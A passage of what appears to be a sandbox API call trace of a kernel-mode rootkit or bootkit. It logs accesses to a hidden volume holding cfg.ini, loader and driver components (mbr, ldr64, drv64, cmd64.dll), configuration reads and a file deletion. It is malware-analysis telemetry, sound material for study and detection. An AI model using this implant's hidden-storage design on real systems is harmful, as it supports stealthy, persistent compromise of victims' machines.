FastMutex=0xfffffa80027d3898) [0128.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.870] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.870] IdePortDispatch () returned 0x103 [0128.870] KeWaitForMutexObject () returned 0x0 [0128.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01320 [0128.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.870] KeLeaveCriticalRegion () [0128.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.870] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.870] KeEnterCriticalRegion () [0128.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.870] KeLeaveCriticalRegion () [0128.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.871] KeEnterCriticalRegion () [0128.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.871] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.871] IdePortDispatch () returned 0x103 [0128.871] KeWaitForMutexObject () returned 0x0 [0128.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.871] KeLeaveCriticalRegion () [0128.871] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.871] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.871] KeEnterCriticalRegion () [0128.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5c000 [0128.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.871] IdePortDispatch () returned 0x103 [0128.871] KeWaitForMutexObject () returned 0x0 [0128.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.872] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.872] IdePortDispatch () returned 0x103 [0128.872] KeWaitForMutexObject () returned 0x0 [0128.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.872] KeLeaveCriticalRegion () [0128.872] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.872] KeEnterCriticalRegion () [0128.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.872] KeLeaveCriticalRegion () [0128.872] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.873] KeEnterCriticalRegion () [0128.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.873] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.873] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c013e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.873] KeLeaveCriticalRegion () [0128.873] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.873] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.873] KeEnterCriticalRegion () [0128.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.873] ExFreePoolWithTag (P=0xfffffa8003c01320, Tag=0x0) [0128.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.873] KeLeaveCriticalRegion () [0128.873] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.873] ReleaseMutex (hMutex=0xf0) returned 1 [0128.873] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.873] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.873] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.873] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.873] KeEnterCriticalRegion () [0128.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.873] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.873] IdePortDispatch () returned 0x103 [0128.873] KeWaitForMutexObject () returned 0x0 [0128.873] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.873] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.873] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.873] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.873] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.873] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.874] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.874] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.874] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.874] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.874] KeLeaveCriticalRegion () [0128.874] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.874] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.874] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.874] KeEnterCriticalRegion () [0128.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.874] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.874] IdePortDispatch () returned 0x103 [0128.874] KeWaitForMutexObject () returned 0x0 [0128.874] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.874] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.874] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.874] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.874] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.874] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.874] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.874] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.874] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.874] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.875] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.875] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.875] KeLeaveCriticalRegion () [0128.875] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.875] ReleaseMutex (hMutex=0x100) returned 1 [0128.875] Sleep (dwMilliseconds=0x2bf20) [0128.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7004b810, dwHighDateTime=0x1d24fa4)) [0128.882] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.882] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.882] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.882] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.882] KeEnterCriticalRegion () [0128.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.882] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.882] IdePortDispatch () returned 0x103 [0128.882] KeWaitForMutexObject () returned 0x0 [0128.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.882] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.882] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.882] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.882] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.882] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c011d0 [0128.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.882] KeLeaveCriticalRegion () [0128.882] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.882] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.882] KeEnterCriticalRegion () [0128.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.882] KeLeaveCriticalRegion () [0128.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.883] KeEnterCriticalRegion () [0128.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.883] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.883] IdePortDispatch () returned 0x103 [0128.883] KeWaitForMutexObject () returned 0x0 [0128.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.883] KeLeaveCriticalRegion () [0128.883] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.883] KeEnterCriticalRegion () [0128.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5f000 [0128.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.883] IdePortDispatch () returned 0x103 [0128.883] KeWaitForMutexObject () returned 0x0 [0128.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.884] IdePortDispatch () returned 0x103 [0128.884] KeWaitForMutexObject () returned 0x0 [0128.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.884] KeLeaveCriticalRegion () [0128.884] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.884] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.884] KeEnterCriticalRegion () [0128.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.884] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.884] KeLeaveCriticalRegion () [0128.885] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.885] KeEnterCriticalRegion () [0128.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.885] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.885] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.885] KeLeaveCriticalRegion () [0128.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.885] KeEnterCriticalRegion () [0128.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.885] ExFreePoolWithTag (P=0xfffffa8003c011d0, Tag=0x0) [0128.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.885] KeLeaveCriticalRegion () [0128.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.885] ReleaseMutex (hMutex=0xf0) returned 1 [0128.885] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.885] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.885] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.885] KeEnterCriticalRegion () [0128.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.885] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.885] IdePortDispatch () returned 0x103 [0128.885] KeWaitForMutexObject () returned 0x0 [0128.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.885] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.885] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.885] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.885] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.885] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] KeLeaveCriticalRegion () [0128.886] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.886] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.886] KeEnterCriticalRegion () [0128.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] KeLeaveCriticalRegion () [0128.886] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.886] KeEnterCriticalRegion () [0128.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.886] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.886] IdePortDispatch () returned 0x103 [0128.886] KeWaitForMutexObject () returned 0x0 [0128.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] KeLeaveCriticalRegion () [0128.886] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.886] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.886] KeEnterCriticalRegion () [0128.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b60000 [0128.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.886] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.886] IdePortDispatch () returned 0x103 [0128.887] KeWaitForMutexObject () returned 0x0 [0128.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 